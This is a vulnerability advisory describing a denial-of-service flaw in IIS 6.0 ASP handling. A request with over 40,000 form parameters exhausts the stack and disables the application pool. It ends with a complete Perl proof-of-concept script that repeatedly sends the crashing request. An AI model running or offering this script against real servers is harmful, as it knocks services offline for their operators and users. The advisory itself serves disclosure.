Affected Vendors
Microsoft

Affected Products
Only Microsoft IIS 6.0 was tested successfully
On a Windows Server 2003 SP2 System
The System was NOT updated to the latest patches during testing.
Since tests “in the wild” have shown the attack to be real this advisory was released.

Vulnerability Details

The vulnerability allows remote unauthenticated attackers to force the IIS server to become
unresponsive until the IIS service is restarted manually by the administrator.
Required is that Active Server Pages are hosted by the IIS and that an ASP script reads out a
Post Form value. When the following ASP script is hosted by IIS the attacker can run the
attack:

 <%
  Dim variable
  variable = Request.Form(“FOOBAR”)
 %>

This small script reads out a POST request argument from the client side.

The exploit is simple: The attacker sends a POST request to the ASP site which reads out
POST arguments. The POST request includes > 40000 request parameters and is sent in the
form of an application/x-www-form-urlencoded encoding type.

The result is that one IIS worker process crashes because of a stack overflow (here stack
exhaustion). Tests have shown that five consecutive requests of this type will cause the
default application pool to be disabled because of a series of failures of the IIS worker
processes. The IIS shows a “Service Unavailable” response to requesting clients until the
World Wide Web Publishing Service is restarted manually by the administrator.

PoC Exploit
# IIS 6.0 ASP DoS PoC
# usage: perl IISdos.pl <host> <asp page>
use IO::Socket;
$|=1;
$host = $ARGV[0];
$script = $ARGV[1];
while(1) {
$sock = IO::Socket::INET->new(PeerAddr => $host,
                   PeerPort => 'http(80)',
                   Proto => 'tcp');
$write = "C=A&" x 40000;
print $sock "HEAD /$script HTTP/1.1\r\nHost: $host\r\n"
           ."Connection:Close\r\nContent-Type: application/x-www-form-urlencoded\r\n"
           ."Content-Length:". length($write) ."\r\n\r\n" . $write;
print ".";
while(<$sock>) {
           print;
}
}